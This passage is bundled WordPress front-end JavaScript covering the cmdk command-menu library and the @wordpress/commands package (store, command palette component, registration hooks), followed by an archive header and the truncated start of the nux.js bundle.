external_React_namespaceObject.createElement($8927f6f2acc4f386$export$250ffa63cdc0d034.div,{ref:o,tabIndex:-1,...H,"cmdk-root":"",onKeyDown:e=>{var s;if((s=H.onKeyDown)==null||s.call(H,e),!e.defaultPrevented)switch(e.key){case"n":case"j":{j&&e.ctrlKey&&ae(e);break}case"ArrowDown":{ae(e);break}case"p":case"k":{j&&e.ctrlKey&&se(e);break}case"ArrowUp":{se(e);break}case"Home":{e.preventDefault(),W(0);break}case"End":{e.preventDefault(),ie();break}case"Enter":if(!e.nativeEvent.isComposing&&e.keyCode!==229){e.preventDefault();let i=O();if(i){let a=new Event(Q);i.dispatchEvent(a)}}}}},external_React_namespaceObject.createElement("label",{"cmdk-label":"",htmlFor:B.inputId,id:B.labelId,style:De},v),F(r,e=>external_React_namespaceObject.createElement(de.Provider,{value:h},external_React_namespaceObject.createElement(ue.Provider,{value:B},e))))}),be=external_React_namespaceObject.forwardRef((r,o)=>{var K,x;let n=external_React_namespaceObject.useId(),u=external_React_namespaceObject.useRef(null),c=external_React_namespaceObject.useContext(fe),d=dist_G(),f=pe(r),p=(x=(K=f.current)==null?void 0:K.forceMount)!=null?x:c==null?void 0:c.forceMount;T(()=>{if(!p)return d.item(n,c==null?void 0:c.id)},[p]);let v=ve(n,u,[r.value,r.children,u],r.keywords),b=Z(),l=dist_D(g=>g.value&&g.value===v.current),y=dist_D(g=>p||d.filter()===!1?!0:g.search?g.filtered.items.get(n)>0:!0);external_React_namespaceObject.useEffect(()=>{let g=u.current;if(!(!g||r.disabled))return g.addEventListener(Q,S),()=>g.removeEventListener(Q,S)},[y,r.onSelect,r.disabled]);function S(){var g,h;C(),(h=(g=f.current).onSelect)==null||h.call(g,v.current)}function C(){b.setState("value",v.current,!0)}if(!y)return null;let{disabled:L,value:ee,onSelect:j,forceMount:H,keywords:te,...$}=r;return external_React_namespaceObject.createElement($8927f6f2acc4f386$export$250ffa63cdc0d034.div,{ref:N([u,o]),...$,id:n,"cmdk-item":"",role:"option","aria-disabled":!!L,"aria-selected":!!l,"data-disabled":!!L,"data-selected":!!l,onPointerMove:L||d.disablePointerSelection?void 0:C,onClick:L?void 0:S},r.children)}),he=external_React_namespaceObject.forwardRef((r,o)=>{let{heading:n,children:u,forceMount:c,...d}=r,f=external_React_namespaceObject.useId(),p=external_React_namespaceObject.useRef(null),v=external_React_namespaceObject.useRef(null),b=external_React_namespaceObject.useId(),l=dist_G(),y=dist_D(C=>c||l.filter()===!1?!0:C.search?C.filtered.groups.has(f):!0);T(()=>l.group(f),[]),ve(f,p,[r.value,r.heading,v]);let S=external_React_namespaceObject.useMemo(()=>({id:f,forceMount:c}),[c]);return external_React_namespaceObject.createElement($8927f6f2acc4f386$export$250ffa63cdc0d034.div,{ref:N([p,o]),...d,"cmdk-group":"",role:"presentation",hidden:y?void 0:!0},n&&external_React_namespaceObject.createElement("div",{ref:v,"cmdk-group-heading":"","aria-hidden":!0,id:b},n),F(r,C=>external_React_namespaceObject.createElement("div",{"cmdk-group-items":"",role:"group","aria-labelledby":n?b:void 0},external_React_namespaceObject.createElement(fe.Provider,{value:S},C))))}),ye=external_React_namespaceObject.forwardRef((r,o)=>{let{alwaysRender:n,...u}=r,c=external_React_namespaceObject.useRef(null),d=dist_D(f=>!f.search);return!n&&!d?null:external_React_namespaceObject.createElement($8927f6f2acc4f386$export$250ffa63cdc0d034.div,{ref:N([c,o]),...u,"cmdk-separator":"",role:"separator"})}),Ee=external_React_namespaceObject.forwardRef((r,o)=>{let{onValueChange:n,...u}=r,c=r.value!=null,d=Z(),f=dist_D(l=>l.search),p=dist_D(l=>l.value),v=dist_G(),b=external_React_namespaceObject.useMemo(()=>{var y;let l=(y=v.listInnerRef.current)==null?void 0:y.querySelector(`${dist_Y}[${M}="${encodeURIComponent(p)}"]`);return l==null?void 0:l.getAttribute("id")},[]);return external_React_namespaceObject.useEffect(()=>{r.value!=null&&d.setState("search",r.value)},[r.value]),external_React_namespaceObject.createElement($8927f6f2acc4f386$export$250ffa63cdc0d034.input,{ref:o,...u,"cmdk-input":"",autoComplete:"off",autoCorrect:"off",spellCheck:!1,"aria-autocomplete":"list",role:"combobox","aria-expanded":!0,"aria-controls":v.listId,"aria-labelledby":v.labelId,"aria-activedescendant":b,id:v.inputId,type:"text",value:c?r.value:f,onChange:l=>{c||d.setState("search",l.target.value),n==null||n(l.target.value)}})}),Se=external_React_namespaceObject.forwardRef((r,o)=>{let{children:n,label:u="Suggestions",...c}=r,d=external_React_namespaceObject.useRef(null),f=external_React_namespaceObject.useRef(null),p=dist_G();return external_React_namespaceObject.useEffect(()=>{if(f.current&&d.current){let v=f.current,b=d.current,l,y=new ResizeObserver(()=>{l=requestAnimationFrame(()=>{let S=v.offsetHeight;b.style.setProperty("--cmdk-list-height",S.toFixed(1)+"px")})});return y.observe(v),()=>{cancelAnimationFrame(l),y.unobserve(v)}}},[]),external_React_namespaceObject.createElement($8927f6f2acc4f386$export$250ffa63cdc0d034.div,{ref:N([d,o]),...c,"cmdk-list":"",role:"listbox","aria-label":u,id:p.listId},F(r,v=>external_React_namespaceObject.createElement("div",{ref:N([f,p.listInnerRef]),"cmdk-list-sizer":""},v)))}),Ce=external_React_namespaceObject.forwardRef((r,o)=>{let{open:n,onOpenChange:u,overlayClassName:c,contentClassName:d,container:f,...p}=r;return external_React_namespaceObject.createElement($5d3850c4d0b4e6c7$export$be92b6f5f03c0fe9,{open:n,onOpenChange:u},external_React_namespaceObject.createElement($5d3850c4d0b4e6c7$export$602eac185826482c,{container:f},external_React_namespaceObject.createElement($5d3850c4d0b4e6c7$export$c6fdb837b070b4ff,{"cmdk-overlay":"",className:c}),external_React_namespaceObject.createElement($5d3850c4d0b4e6c7$export$7c6e2c02157bb7d2,{"aria-label":r.label,"cmdk-dialog":"",className:d},external_React_namespaceObject.createElement(me,{ref:o,...p}))))}),xe=external_React_namespaceObject.forwardRef((r,o)=>dist_D(u=>u.filtered.count===0)?external_React_namespaceObject.createElement($8927f6f2acc4f386$export$250ffa63cdc0d034.div,{ref:o,...r,"cmdk-empty":"",role:"presentation"}):null),Pe=external_React_namespaceObject.forwardRef((r,o)=>{let{progress:n,children:u,label:c="Loading...",...d}=r;return external_React_namespaceObject.createElement($8927f6f2acc4f386$export$250ffa63cdc0d034.div,{ref:o,...d,"cmdk-loading":"",role:"progressbar","aria-valuenow":n,"aria-valuemin":0,"aria-valuemax":100,"aria-label":c},F(r,f=>external_React_namespaceObject.createElement("div",{"aria-hidden":!0},f)))}),He=Object.assign(me,{List:Se,Item:be,Input:Ee,Group:he,Separator:ye,Dialog:Ce,Empty:xe,Loading:Pe});function we(r,o){let n=r.nextElementSibling;for(;n;){if(n.matches(o))return n;n=n.nextElementSibling}}function Ie(r,o){let n=r.previousElementSibling;for(;n;){if(n.matches(o))return n;n=n.previousElementSibling}}function pe(r){let o=external_React_namespaceObject.useRef(r);return T(()=>{o.current=r}),o}var T=typeof window=="undefined"?external_React_namespaceObject.useEffect:external_React_namespaceObject.useLayoutEffect;function dist_k(r){let o=external_React_namespaceObject.useRef();return o.current===void 0&&(o.current=r()),o}function N(r){return o=>{r.forEach(n=>{typeof n=="function"?n(o):n!=null&&(n.current=o)})}}function dist_D(r){let o=Z(),n=()=>r(o.snapshot());return external_React_namespaceObject.useSyncExternalStore(o.subscribe,n,n)}function ve(r,o,n,u=[]){let c=external_React_namespaceObject.useRef(),d=dist_G();return T(()=>{var v;let f=(()=>{var b;for(let l of n){if(typeof l=="string")return l.trim();if(typeof l=="object"&&"current"in l)return l.current?(b=l.current.textContent)==null?void 0:b.trim():c.current}})(),p=u.map(b=>b.trim());d.value(r,f,p),(v=o.current)==null||v.setAttribute(M,f),c.current=f}),c}var Me=()=>{let[r,o]=external_React_namespaceObject.useState(),n=dist_k(()=>new Map);return T(()=>{n.current.forEach(u=>u()),n.current=new Map},[r]),(u,c)=>{n.current.set(u,c),o({})}};function Te(r){let o=r.type;return typeof o=="function"?o(r.props):"render"in o?o.render(r.props):r}function F({asChild:r,children:o},n){return r&&external_React_namespaceObject.isValidElement(o)?external_React_namespaceObject.cloneElement(Te(o),{ref:o.ref},n(o.props.children)):n(o)}var De={position:"absolute",width:"1px",height:"1px",padding:"0",margin:"-1px",overflow:"hidden",clip:"rect(0, 0, 0, 0)",whiteSpace:"nowrap",borderWidth:"0"}; ;// ./node_modules/clsx/dist/clsx.mjs function r(e){var t,f,n="";if("string"==typeof e||"number"==typeof e)n+=e;else if("object"==typeof e)if(Array.isArray(e)){var o=e.length;for(t=0;t<o;t++)e[t]&&(f=r(e[t]))&&(n&&(n+=" "),n+=f)}else for(f in e)e[f]&&(n&&(n+=" "),n+=f);return n}function clsx(){for(var e,t,f=0,n="",o=arguments.length;f<o;f++)(e=arguments[f])&&(t=r(e))&&(n&&(n+=" "),n+=t);return n}/* harmony default export */ const dist_clsx = (clsx); ;// external ["wp","data"] const external_wp_data_namespaceObject = window["wp"]["data"]; ;// external ["wp","element"] const external_wp_element_namespaceObject = window["wp"]["element"]; ;// external ["wp","i18n"] const external_wp_i18n_namespaceObject = window["wp"]["i18n"]; ;// external ["wp","components"] const external_wp_components_namespaceObject = window["wp"]["components"]; ;// external ["wp","keyboardShortcuts"] const external_wp_keyboardShortcuts_namespaceObject = window["wp"]["keyboardShortcuts"]; ;// ./node_modules/@wordpress/icons/build-module/icon/index.js /** * WordPress dependencies */ /** @typedef {{icon: JSX.Element, size?: number} & import('@wordpress/primitives').SVGProps} IconProps */ /** * Return an SVG icon. * * @param {IconProps} props icon is the SVG component to render * size is a number specifying the icon size in pixels * Other props will be passed to wrapped SVG component * @param {import('react').ForwardedRef<HTMLElement>} ref The forwarded ref to the SVG element. * * @return {JSX.Element} Icon component */ function Icon({ icon, size = 24, ...props }, ref) { return (0,external_wp_element_namespaceObject.cloneElement)(icon, { width: size, height: size, ...props, ref }); } /* harmony default export */ const icon = ((0,external_wp_element_namespaceObject.forwardRef)(Icon)); ;// external ["wp","primitives"] const external_wp_primitives_namespaceObject = window["wp"]["primitives"]; ;// external "ReactJSXRuntime" const external_ReactJSXRuntime_namespaceObject = window["ReactJSXRuntime"]; ;// ./node_modules/@wordpress/icons/build-module/library/search.js /** * WordPress dependencies */ const search = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M13 5c-3.3 0-6 2.7-6 6 0 1.4.5 2.7 1.3 3.7l-3.8 3.8 1.1 1.1 3.8-3.8c1 .8 2.3 1.3 3.7 1.3 3.3 0 6-2.7 6-6S16.3 5 13 5zm0 10.5c-2.5 0-4.5-2-4.5-4.5s2-4.5 4.5-4.5 4.5 2 4.5 4.5-2 4.5-4.5 4.5z" }) }); /* harmony default export */ const library_search = (search); ;// ./node_modules/@wordpress/commands/build-module/store/reducer.js /** * WordPress dependencies */ /** * Reducer returning the registered commands * * @param {Object} state Current state. * @param {Object} action Dispatched action. * * @return {Object} Updated state. */ function commands(state = {}, action) { switch (action.type) { case 'REGISTER_COMMAND': return { ...state, [action.name]: { name: action.name, label: action.label, searchLabel: action.searchLabel, context: action.context, callback: action.callback, icon: action.icon } }; case 'UNREGISTER_COMMAND': { const { [action.name]: _, ...remainingState } = state; return remainingState; } } return state; } /** * Reducer returning the command loaders * * @param {Object} state Current state. * @param {Object} action Dispatched action. * * @return {Object} Updated state. */ function commandLoaders(state = {}, action) { switch (action.type) { case 'REGISTER_COMMAND_LOADER': return { ...state, [action.name]: { name: action.name, context: action.context, hook: action.hook } }; case 'UNREGISTER_COMMAND_LOADER': { const { [action.name]: _, ...remainingState } = state; return remainingState; } } return state; } /** * Reducer returning the command palette open state. * * @param {Object} state Current state. * @param {Object} action Dispatched action. * * @return {boolean} Updated state. */ function isOpen(state = false, action) { switch (action.type) { case 'OPEN': return true; case 'CLOSE': return false; } return state; } /** * Reducer returning the command palette's active context. * * @param {Object} state Current state. * @param {Object} action Dispatched action. * * @return {boolean} Updated state. */ function context(state = 'root', action) { switch (action.type) { case 'SET_CONTEXT': return action.context; } return state; } const reducer = (0,external_wp_data_namespaceObject.combineReducers)({ commands, commandLoaders, isOpen, context }); /* harmony default export */ const store_reducer = (reducer); ;// ./node_modules/@wordpress/commands/build-module/store/actions.js /** @typedef {import('@wordpress/keycodes').WPKeycodeModifier} WPKeycodeModifier */ /** * Configuration of a registered keyboard shortcut. * * @typedef {Object} WPCommandConfig * * @property {string} name Command name. * @property {string} label Command label. * @property {string=} searchLabel Command search label. * @property {string=} context Command context. * @property {JSX.Element} icon Command icon. * @property {Function} callback Command callback. * @property {boolean} disabled Whether to disable the command. */ /** * @typedef {(search: string) => WPCommandConfig[]} WPCommandLoaderHook hoo */ /** * Command loader config. * * @typedef {Object} WPCommandLoaderConfig * * @property {string} name Command loader name. * @property {string=} context Command loader context. * @property {WPCommandLoaderHook} hook Command loader hook. * @property {boolean} disabled Whether to disable the command loader. */ /** * Returns an action object used to register a new command. * * @param {WPCommandConfig} config Command config. * * @return {Object} action. */ function registerCommand(config) { return { type: 'REGISTER_COMMAND', ...config }; } /** * Returns an action object used to unregister a command. * * @param {string} name Command name. * * @return {Object} action. */ function unregisterCommand(name) { return { type: 'UNREGISTER_COMMAND', name }; } /** * Register command loader. * * @param {WPCommandLoaderConfig} config Command loader config. * * @return {Object} action. */ function registerCommandLoader(config) { return { type: 'REGISTER_COMMAND_LOADER', ...config }; } /** * Unregister command loader hook. * * @param {string} name Command loader name. * * @return {Object} action. */ function unregisterCommandLoader(name) { return { type: 'UNREGISTER_COMMAND_LOADER', name }; } /** * Opens the command palette. * * @return {Object} action. */ function actions_open() { return { type: 'OPEN' }; } /** * Closes the command palette. * * @return {Object} action. */ function actions_close() { return { type: 'CLOSE' }; } ;// ./node_modules/@wordpress/commands/build-module/store/selectors.js /** * WordPress dependencies */ /** * Returns the registered static commands. * * @param {Object} state State tree. * @param {boolean} contextual Whether to return only contextual commands. * * @return {import('./actions').WPCommandConfig[]} The list of registered commands. */ const getCommands = (0,external_wp_data_namespaceObject.createSelector)((state, contextual = false) => Object.values(state.commands).filter(command => { const isContextual = command.context && command.context === state.context; return contextual ? isContextual : !isContextual; }), state => [state.commands, state.context]); /** * Returns the registered command loaders. * * @param {Object} state State tree. * @param {boolean} contextual Whether to return only contextual command loaders. * * @return {import('./actions').WPCommandLoaderConfig[]} The list of registered command loaders. */ const getCommandLoaders = (0,external_wp_data_namespaceObject.createSelector)((state, contextual = false) => Object.values(state.commandLoaders).filter(loader => { const isContextual = loader.context && loader.context === state.context; return contextual ? isContextual : !isContextual; }), state => [state.commandLoaders, state.context]); /** * Returns whether the command palette is open. * * @param {Object} state State tree. * * @return {boolean} Returns whether the command palette is open. */ function selectors_isOpen(state) { return state.isOpen; } /** * Returns whether the active context. * * @param {Object} state State tree. * * @return {string} Context. */ function getContext(state) { return state.context; } ;// ./node_modules/@wordpress/commands/build-module/store/private-actions.js /** * Sets the active context. * * @param {string} context Context. * * @return {Object} action. */ function setContext(context) { return { type: 'SET_CONTEXT', context }; } ;// external ["wp","privateApis"] const external_wp_privateApis_namespaceObject = window["wp"]["privateApis"]; ;// ./node_modules/@wordpress/commands/build-module/lock-unlock.js /** * WordPress dependencies */ const { lock, unlock } = (0,external_wp_privateApis_namespaceObject.__dangerousOptInToUnstableAPIsOnlyForCoreModules)('I acknowledge private features are not for use in themes or plugins and doing so will break in the next version of WordPress.', '@wordpress/commands'); ;// ./node_modules/@wordpress/commands/build-module/store/index.js /** * WordPress dependencies */ /** * Internal dependencies */ const STORE_NAME = 'core/commands'; /** * Store definition for the commands namespace. * * @see https://github.com/WordPress/gutenberg/blob/HEAD/packages/data/README.md#createReduxStore * * @type {Object} * * @example * ```js * import { store as commandsStore } from '@wordpress/commands'; * import { useDispatch } from '@wordpress/data'; * ... * const { open: openCommandCenter } = useDispatch( commandsStore ); * ``` */ const store = (0,external_wp_data_namespaceObject.createReduxStore)(STORE_NAME, { reducer: store_reducer, actions: actions_namespaceObject, selectors: selectors_namespaceObject }); (0,external_wp_data_namespaceObject.register)(store); unlock(store).registerPrivateActions(private_actions_namespaceObject); ;// ./node_modules/@wordpress/commands/build-module/components/command-menu.js /** * External dependencies */ /** * WordPress dependencies */ /** * Internal dependencies */ const inputLabel = (0,external_wp_i18n_namespaceObject.__)('Search commands and settings'); function CommandMenuLoader({ name, search, hook, setLoader, close }) { var _hook; const { isLoading, commands = [] } = (_hook = hook({ search })) !== null && _hook !== void 0 ? _hook : {}; (0,external_wp_element_namespaceObject.useEffect)(() => { setLoader(name, isLoading); }, [setLoader, name, isLoading]); if (!commands.length) { return null; } return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: commands.map(command => { var _command$searchLabel; return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(He.Item, { value: (_command$searchLabel = command.searchLabel) !== null && _command$searchLabel !== void 0 ? _command$searchLabel : command.label, onSelect: () => command.callback({ close }), id: command.name, children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalHStack, { alignment: "left", className: dist_clsx('commands-command-menu__item', { 'has-icon': command.icon }), children: [command.icon && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(icon, { icon: command.icon }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("span", { children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.TextHighlight, { text: command.label, highlight: search }) })] }) }, command.name); }) }); } function CommandMenuLoaderWrapper({ hook, search, setLoader, close }) { // The "hook" prop is actually a custom React hook // so to avoid breaking the rules of hooks // the CommandMenuLoaderWrapper component need to be // remounted on each hook prop change // We use the key state to make sure we do that properly. const currentLoaderRef = (0,external_wp_element_namespaceObject.useRef)(hook); const [key, setKey] = (0,external_wp_element_namespaceObject.useState)(0); (0,external_wp_element_namespaceObject.useEffect)(() => { if (currentLoaderRef.current !== hook) { currentLoaderRef.current = hook; setKey(prevKey => prevKey + 1); } }, [hook]); return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(CommandMenuLoader, { hook: currentLoaderRef.current, search: search, setLoader: setLoader, close: close }, key); } function CommandMenuGroup({ isContextual, search, setLoader, close }) { const { commands, loaders } = (0,external_wp_data_namespaceObject.useSelect)(select => { const { getCommands, getCommandLoaders } = select(store); return { commands: getCommands(isContextual), loaders: getCommandLoaders(isContextual) }; }, [isContextual]); if (!commands.length && !loaders.length) { return null; } return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(He.Group, { children: [commands.map(command => { var _command$searchLabel2; return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(He.Item, { value: (_command$searchLabel2 = command.searchLabel) !== null && _command$searchLabel2 !== void 0 ? _command$searchLabel2 : command.label, onSelect: () => command.callback({ close }), id: command.name, children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalHStack, { alignment: "left", className: dist_clsx('commands-command-menu__item', { 'has-icon': command.icon }), children: [command.icon && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(icon, { icon: command.icon }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("span", { children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.TextHighlight, { text: command.label, highlight: search }) })] }) }, command.name); }), loaders.map(loader => /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(CommandMenuLoaderWrapper, { hook: loader.hook, search: search, setLoader: setLoader, close: close }, loader.name))] }); } function CommandInput({ isOpen, search, setSearch }) { const commandMenuInput = (0,external_wp_element_namespaceObject.useRef)(); const _value = dist_D(state => state.value); const selectedItemId = (0,external_wp_element_namespaceObject.useMemo)(() => { const item = document.querySelector(`[cmdk-item=""][data-value="${_value}"]`); return item?.getAttribute('id'); }, [_value]); (0,external_wp_element_namespaceObject.useEffect)(() => { // Focus the command palette input when mounting the modal. if (isOpen) { commandMenuInput.current.focus(); } }, [isOpen]); return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(He.Input, { ref: commandMenuInput, value: search, onValueChange: setSearch, placeholder: inputLabel, "aria-activedescendant": selectedItemId, icon: search }); } /** * @ignore */ function CommandMenu() { const { registerShortcut } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_keyboardShortcuts_namespaceObject.store); const [search, setSearch] = (0,external_wp_element_namespaceObject.useState)(''); const isOpen = (0,external_wp_data_namespaceObject.useSelect)(select => select(store).isOpen(), []); const { open, close } = (0,external_wp_data_namespaceObject.useDispatch)(store); const [loaders, setLoaders] = (0,external_wp_element_namespaceObject.useState)({}); (0,external_wp_element_namespaceObject.useEffect)(() => { registerShortcut({ name: 'core/commands', category: 'global', description: (0,external_wp_i18n_namespaceObject.__)('Open the command palette.'), keyCombination: { modifier: 'primary', character: 'k' } }); }, [registerShortcut]); (0,external_wp_keyboardShortcuts_namespaceObject.useShortcut)('core/commands', /** @type {import('react').KeyboardEventHandler} */ event => { // Bails to avoid obscuring the effect of the preceding handler(s). if (event.defaultPrevented) { return; } event.preventDefault(); if (isOpen) { close(); } else { open(); } }, { bindGlobal: true }); const setLoader = (0,external_wp_element_namespaceObject.useCallback)((name, value) => setLoaders(current => ({ ...current, [name]: value })), []); const closeAndReset = () => { setSearch(''); close(); }; if (!isOpen) { return false; } const onKeyDown = event => { if ( // Ignore keydowns from IMEs event.nativeEvent.isComposing || // Workaround for Mac Safari where the final Enter/Backspace of an IME composition // is `isComposing=false`, even though it's technically still part of the composition. // These can only be detected by keyCode. event.keyCode === 229) { event.preventDefault(); } }; const isLoading = Object.values(loaders).some(Boolean); return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Modal, { className: "commands-command-menu", overlayClassName: "commands-command-menu__overlay", onRequestClose: closeAndReset, __experimentalHideHeader: true, contentLabel: (0,external_wp_i18n_namespaceObject.__)('Command palette'), children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className: "commands-command-menu__container", children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(He, { label: inputLabel, onKeyDown: onKeyDown, children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", { className: "commands-command-menu__header", children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(CommandInput, { search: search, setSearch: setSearch, isOpen: isOpen }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(icon, { icon: library_search })] }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(He.List, { label: (0,external_wp_i18n_namespaceObject.__)('Command suggestions'), children: [search && !isLoading && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(He.Empty, { children: (0,external_wp_i18n_namespaceObject.__)('No results found.') }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(CommandMenuGroup, { search: search, setLoader: setLoader, close: closeAndReset, isContextual: true }), search && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(CommandMenuGroup, { search: search, setLoader: setLoader, close: closeAndReset })] })] }) }) }); } ;// ./node_modules/@wordpress/commands/build-module/hooks/use-command-context.js /** * WordPress dependencies */ /** * Internal dependencies */ /** * Sets the active context of the command palette * * @param {string} context Context to set. */ function useCommandContext(context) { const { getContext } = (0,external_wp_data_namespaceObject.useSelect)(store); const initialContext = (0,external_wp_element_namespaceObject.useRef)(getContext()); const { setContext } = unlock((0,external_wp_data_namespaceObject.useDispatch)(store)); (0,external_wp_element_namespaceObject.useEffect)(() => { setContext(context); }, [context, setContext]); // This effects ensures that on unmount, we restore the context // that was set before the component actually mounts. (0,external_wp_element_namespaceObject.useEffect)(() => { const initialContextRef = initialContext.current; return () => setContext(initialContextRef); }, [setContext]); } ;// ./node_modules/@wordpress/commands/build-module/private-apis.js /** * Internal dependencies */ /** * @private */ const privateApis = {}; lock(privateApis, { useCommandContext: useCommandContext }); ;// ./node_modules/@wordpress/commands/build-module/hooks/use-command.js /** * WordPress dependencies */ /** * Internal dependencies */ /** * Attach a command to the command palette. Used for static commands. * * @param {import('../store/actions').WPCommandConfig} command command config. * * @example * ```js * import { useCommand } from '@wordpress/commands'; * import { plus } from '@wordpress/icons'; * * useCommand( { * name: 'myplugin/my-command-name', * label: __( 'Add new post' ), * icon: plus, * callback: ({ close }) => { * document.location.href = 'post-new.php'; * close(); * }, * } ); * ``` */ function useCommand(command) { const { registerCommand, unregisterCommand } = (0,external_wp_data_namespaceObject.useDispatch)(store); const currentCallbackRef = (0,external_wp_element_namespaceObject.useRef)(command.callback); (0,external_wp_element_namespaceObject.useEffect)(() => { currentCallbackRef.current = command.callback; }, [command.callback]); (0,external_wp_element_namespaceObject.useEffect)(() => { if (command.disabled) { return; } registerCommand({ name: command.name, context: command.context, label: command.label, searchLabel: command.searchLabel, icon: command.icon, callback: (...args) => currentCallbackRef.current(...args) }); return () => { unregisterCommand(command.name); }; }, [command.name, command.label, command.searchLabel, command.icon, command.context, command.disabled, registerCommand, unregisterCommand]); } ;// ./node_modules/@wordpress/commands/build-module/hooks/use-command-loader.js /** * WordPress dependencies */ /** * Internal dependencies */ /** * Attach a command loader to the command palette. Used for dynamic commands. * * @param {import('../store/actions').WPCommandLoaderConfig} loader command loader config. * * @example * ```js * import { useCommandLoader } from '@wordpress/commands'; * import { post, page, layout, symbolFilled } from '@wordpress/icons'; * * const icons = { * post, * page, * wp_template: layout, * wp_template_part: symbolFilled, * }; * * function usePageSearchCommandLoader( { search } ) { * // Retrieve the pages for the "search" term. * const { records, isLoading } = useSelect( ( select ) => { * const { getEntityRecords } = select( coreStore ); * const query = { * search: !! search ? search : undefined, * per_page: 10, * orderby: search ? 'relevance' : 'date', * }; * return { * records: getEntityRecords( 'postType', 'page', query ), * isLoading: ! select( coreStore ).hasFinishedResolution( * 'getEntityRecords', * 'postType', 'page', query ] * ), * }; * }, [ search ] ); * * // Create the commands. * const commands = useMemo( () => { * return ( records ?? [] ).slice( 0, 10 ).map( ( record ) => { * return { * name: record.title?.rendered + ' ' + record.id, * label: record.title?.rendered * ? record.title?.rendered * : __( '(no title)' ), * icon: icons[ postType ], * callback: ( { close } ) => { * const args = { * postType, * postId: record.id, * ...extraArgs, * }; * document.location = addQueryArgs( 'site-editor.php', args ); * close(); * }, * }; * } ); * }, [ records, history ] ); * * return { * commands, * isLoading, * }; * } * * useCommandLoader( { * name: 'myplugin/page-search', * hook: usePageSearchCommandLoader, * } ); * ``` */ function useCommandLoader(loader) { const { registerCommandLoader, unregisterCommandLoader } = (0,external_wp_data_namespaceObject.useDispatch)(store); (0,external_wp_element_namespaceObject.useEffect)(() => { if (loader.disabled) { return; } registerCommandLoader({ name: loader.name, hook: loader.hook, context: loader.context }); return () => { unregisterCommandLoader(loader.name); }; }, [loader.name, loader.hook, loader.context, loader.disabled, registerCommandLoader, unregisterCommandLoader]); } ;// ./node_modules/@wordpress/commands/build-module/index.js (window.wp = window.wp || {}).commands = __webpack_exports__; /******/ })() ; nux.js 0000664 00000031757 15061233506 0005734 0 ustar 00 /******/ (() => { // webpackBootstrap /******/ "use strict"; /******/ // The require scope /******/ var __webpack_require__ = {}; /******/ /************************************************************************/ /******/ /* webpack/runtime/compat get default export */ /******/ (() => { /******/ // getDefaultExport function for compatibility with non-harmony modules /******/ __webpack_require__.n = (module) => { /******/ var getter = module && module.__esModule ? /******/ () => (module['default']) : /******/ () => (module); /******/ __webpack_require__.d(getter, { a: getter }); /******/ return getter; /******/ }; /******/ })(); /******/ /******/ /* webpack/runtime/define property getters */ /******/ (() => { /******/ // define getter functions for harmony exports /******/ __webpack_require__.d = (exports, definition) => { /******/ for(var key in definition) { /******/ if(__webpack_require__.o(definition, key) && !__webpack_require__.o(exports, key)) { /******/ Object.defineProperty(exports, key, { enumerable: true, get: definition[key] }); /******/ } /******/ } /******/ }; /******/ })(); /******/ /******/ /* webpack/runtime/hasOwnProperty shorthand */ /******/ (() => { /******/ __webpack_require__.o = (obj, prop) => (Object.prototype.hasOwnProperty.call(obj, prop)) /******/ })(); /******/ /******/ /* webpack/runtime/make namespace object */ /******/ (() => { /******/ // define __esModule on exports /******/ __webpack_require__.r = (exports) => { /******/ if(typeof Symbol !== 'undefined' && Symbol.toStringTag) { /******/ Object.defineProperty(exports, Symbol.toStringTag, { value: 'Module' }); /******/ } /******/ Object.defineProperty(exports, '__esModule', { value: true }); /******/ }; /******/ })(); /******/ /************************************************************************/ var __webpack_exports__ = {}; // ESM COMPAT FLAG __webpack_require__.r(__webpack_exports__); // EXPORTS __webpack_require__.d(__webpack_exports__, { DotTip: () => (/* reexport */ dot_tip), store: () => (/* reexport */ store) }); // NAMESPACE OBJECT: ./node_modules/@wordpress/nux/build-module/store/actions.js var actions_namespaceObject = {}; __webpack_require__.r(actions_namespaceObject); __webpack_require__.d(actions_namespaceObject, { disableTips: () => (disableTips), dismissTip: () => (dismissTip), enableTips: () => (enableTips), triggerGuide: () => (triggerGuide) }); // NAMESPACE OBJECT: ./node_modules/@wordpress/nux/build-module/store/selectors.js var selectors_namespaceObject = {}; __webpack_require__.r(selectors_namespaceObject); __webpack_require__.d(selectors_namespaceObject, { areTipsEnabled: () => 